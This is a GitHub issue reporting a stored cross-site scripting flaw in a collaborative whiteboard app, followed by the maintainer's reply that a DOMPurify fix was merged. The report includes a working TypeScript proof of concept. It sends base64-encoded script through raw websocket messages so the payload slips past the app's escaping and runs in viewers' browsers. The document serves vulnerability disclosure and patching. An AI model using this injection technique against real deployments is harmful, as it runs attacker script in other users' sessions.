cracker0dks / whiteboard

Lightweight collaborative Whiteboard / Sketchboard
MIT License
719 stars 198 forks source link

setTextboxText enables XSS #110

Closed pkschweiger closed 3 years ago

pkschweiger commented 3 years ago

User interface escapes html entities in textbox text and only ever adds <div> and <br> tags afacit.

Browser tools or scripts can send malicious content operating a websocket directly. Such content sneaks through escapeAllContentStrings() as it is base64 encoded. Example exploit in typescript:

import { io } from "socket.io-client";

const BOARD_TO_HACK = "235699bb-eabf-4969-979e-f2bf388ad7b9";
const USERNAME = "crackmeister";
const EXPLOIT=`<script type="text/javascript">alert("All your base are belong to us");</script>`;

const socket = io("http://local-whiteboard-service:3000", { path: "/ws-api" });

function applyExploit()
{
    const encode = (s: string) => Buffer.from(s, "utf8").toString("base64");

    socket.emit("joinWhiteboard", {
        wid: BOARD_TO_HACK,
        at: "",
        windowWidthHeight: { w: 100, h: 100 }
    });

    socket.emit("drawToWhiteboard", {
        "t":"addTextBox",
        "d": ["rgba(0,0,0,1)","rgba(245,245,135,1)",2,342,214,"tx1628873104391",false],
        "wid": BOARD_TO_HACK,
        "username": USERNAME,
        "drawId":0,
        "at":""
    });

    socket.emit("drawToWhiteboard", {
        "t":"setTextboxText",
        "d":["tx1628873104391", encode(EXPLOIT)],
        "wid": BOARD_TO_HACK,
        "username": USERNAME,
        "drawId":0,
        "at":""
    });
}

socket.on("connect", applyExploit);
setTimeout(() => process.exit(0), 5000);

xss-on-socket

We work around this by running DOMPurify over the setTextboxText payload as in the attached patch file. github wouldn't let me attach it without compressing it - apologies.

0001-Run-DOMPurify-over-textbox-content.patch.gz

cracker0dks commented 3 years ago

I pushed it to the master. Thanks for reporting and fixing some many things :) 👍